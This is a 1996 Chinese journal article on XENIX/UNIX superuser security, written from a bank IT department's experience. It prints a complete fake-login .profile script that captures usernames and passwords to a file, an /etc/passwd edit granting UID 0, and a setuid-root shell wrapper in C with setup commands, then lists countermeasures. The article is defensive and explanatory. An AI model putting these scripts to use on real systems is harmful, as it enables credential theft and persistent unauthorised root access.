XENIX/UNIX 操作系统安全性小议

王举国 李佃福 荣光 （山东省农业银行信息电脑部 250001）

近几年来，XENIX/UNIX 操作系统的应用范围越来越广。同时其操作系统的安全性也越来越引起人们的关注。

XENIX/UNIX 操作系统是一种多用户操作系统，各用户之间能够实现资源共享，这也是多用户操作系统最大的优点，但也正是由于这种资源共享的存在，也就存在着用户受到入侵的可能。其中对系统超级用户的入侵危害最为严重。因为一旦进入超级用户也就拥有对系统全部资源的存取权，使系统内的资源失去了保护，这时在超级用户下的非法操作不仅能使系统内的资源遭到破坏，而且还能使整个 系统瘫痪，从而造成不可估量的损失。所以，严禁一般用户闯入超级用户是 XENIX/UNIX 操作系统安 全保障的关键。为保证超级用户的安全，我们通常 采取的措施是：

① 对超级用户注册时要设置口令，同时对 sysadm 用户也要设置口令，因为 sysadm 具有超 级用户的权限，它能够执行各种超级用户的命令。

② 要严格控制知道超级用户口令的人员范围。

③ 要经常修改超级用户的注册口令。

④ 严格控制有关目录和文件的存取权限。

⑤ 完成操作后应立即退出 sh，使系统回到注 册状态。

但是计算机犯罪是一种高技术犯罪，往往方法 和手段都比较新奇，我们只有加强防范意识，采取 多方面的防范措施，才能做到防患于未然。

下面介绍一种更为隐蔽的入侵超级用户的 方式，这是笔者在使用 XENIX 操作系统的实际工 作中曾经遇到的。这种入侵超级用户的方式对 UNIX 操作系统也同样适用。

这种方式是在超级用户注册时盗取超级用户的口令，经过一定的操作后，进而使超级用户以后无论怎样修改口令对其也失去作用，从而达到永远具有超级用户权限的目的。

经分析这种方式的侵入过程是这样的：

1.入侵者是 XENIX 操作系统中的一个普通用户，在以该用户名注册后（假设用户名为 wig），系统先执行一段特殊程序，使屏幕上仅显示注册提示符 xenix386! login:下注册，键入 root 回车，屏幕提示 password:，当输入口令后，屏幕提示口令错误，并要求再次注册：

```
login incorrect
xenx386! login:
```

当再次注册输入口令后，系统便会正常地进入超级用户状态。在这一过程中就好象用户偶然地敲错了一次口令，而不会有其他感觉。但这时超级用户的口令已经被盗取。

实际上最先出现的 xenix386! login:提示符并不是系统提示的，而是用户 wig 的.profile 文件的 shell 程序提示的。该.profile 文件是经过修改的，其内容如下：

```
# @(#) sh.prof.src 1.3 88/05/10
#
# Copyright (C) The Santa Cruz Operation,
# 1985. This Module contains Proprietary
# Information of The Santa Cruz Operation,
# Microsoft Corporation and AT&T, and should
# be treated as Confidential.
#
# User $HOME/.profile - commands executed at
# login time
#
# set command search path
PATH=.:/bin:/usr/bin:$HOME/bin
#
# mailbox location
MAIL=/usr/spool/mail/`logname`
#
# set file creation mask
umask 022
eval `tset -m ansi:ansi -m :?ansi -r -s -Q`
export PATH MAIL
clear
echo "xenix386! login: \c"
until
read name
do
echo
echo "xenix386! login: \c"
done
```

```
echo $name>/usr/wjg/pass
stty -echo
echo "Password:\c"
read pw
echo $pw>>/usr/wjg/pass
sleep 1
echo
echo login incorrect
stty echo
exit
```

从程序中可以看出，第一个 xenxin386! login:提示符是 shell 程序提示的。当输入注册名后，程序则将注册名读入变量 name 中，并将变量 name 存入/usr/wjg 目录下的 pass 文件。然后再提示 password:并关闭回应，等待你输入口令。当输入口令后，程序便将口令读入变量 pw 中，同样也将变量 pw 存入/usr/wjg 目录下的 pass 文件。接着程序回显 login incorrect，提示你口令错误。然后执行 exit 命令，退出 wjg 注册时调用的 shell 进程，这时才出现真正的注册提示符 xenix386! login:。

在这个过程中就象是用户偶然敲错了一次口令，不会引起用户的注意。但实际上超级用户(或其他用户)的注册名和口令都已经被记录在 pass 文件中。

如果一般用户 wjg 不想在注册状态提示符下等待盗取其他用户的口令，而是想正常地注册进入系统，则在出现第一个 xenix386! login:提示符时用 DEL 键中断，就进入了 wjg 的注册状态。

2.一般用户在知道了超级用户的口令之后，侵入超级用户有三种途径：

(1)直接用超级用户的口令注册或在自己注册进入系统后启动系统的 su 命令进入超级用户状态。这种方式在超级用户修改口令之后，也就无法进行了。

(2)在用上述方法进入超级用户状态之后，将 /etc 目录下的 passwd 文件中用户 wjg 那一行改为：

```
wjg::0:0::/usr/wjg:/bin/sh
```

即把用户 wjg 的 Uid 和 Gid 改为 0，与超级用户一样。则以后再用 wjg 注册进入系统时，用户 wjg 就具有超级用户的权力，并且状态提示符与在超级用户状态提示符一样。

这种方法由于其注册后的状态提示符与超级用户状态提示符完全一样，所以隐蔽性差一些。

(3)在 /usr/wjg 目录下事先编好一段 C 语言程序，假设该程序文件名为 super.c，其内容是：

```
#include <stdio.h>
main()
{
setuid(0);
execl("/bin/sh","/bin/sh",NULL);
}
```

执行 cc -o super super.c 生成可执行文件 super；执行 chmod 777 super 将文件 super 的存取权改为 -rwxrwxrwx；执行 chown root super 将文件的所有者改为 root。

用(1)方法进入超级用户状态，在提示符"#"下键入 chmod u+s /usr/wjg/super 命令，将文件的存取权限设为 -rwsrwxrwx，即将 super 改为 SUID 程序，也就是得到拥有者的许可，并具有拥有者访问权限的程序。

以后，当用户 wjg 想进入超级用户时，先用 wjg 注册进入系统。然后键入 super 回车，就会进入超级用户，并且状态提示符由"$"变为"#"。这时超级用户的口令对 super 程序来说已不起作用。当要退出超级用户状态时，按 CTRL+D 即可返回原状态，提示符变为"$"。

程序 super.c 中的 setuid(0)函数是将真实用户标识符设为 0，即为 root。execl 函数则是用来装入一份以超级用户权限运行的 sh。

实际上 super 程序与程序的 su 命令作用一样，只是 super 不要求输入口令。所以超级用户口令的保护作用对 super 程序不起作用。

从以上介绍可以看出，在超级用户注册时盗取口令的方法隐蔽性强，危害性大，应该引起大家的足够重视。

不过在知道了这种方法的原理和过程之后，就可以采取相应的措施加以防范。

(1)对于超级用户来说权限和责任并重，应该时刻要有防范意识。在每次注册之前要先观察屏幕提示有无异常。

(2)在注册之前可先用 DEL 键中断一次，以终止某些模拟注册状态的程序的运行。

(3)注册时可以第一次先输入一个非真实的口令，然后再进行正常的注册。因为非法程序一般不能辨认口令的真实性，这样第一次输入口令时即使被盗，则被盗取的也是一个假口令。

(4)要经常注意和检查 SUID 程序的存在，即存取权限为 -rwsrwxrwx 的文件。

(5)要注意检查/etc 目录下 passwd 文件中各用户的 Uid 和 Gid 的值是否与超级用户相同。

(来稿时间:1996 年 7 月)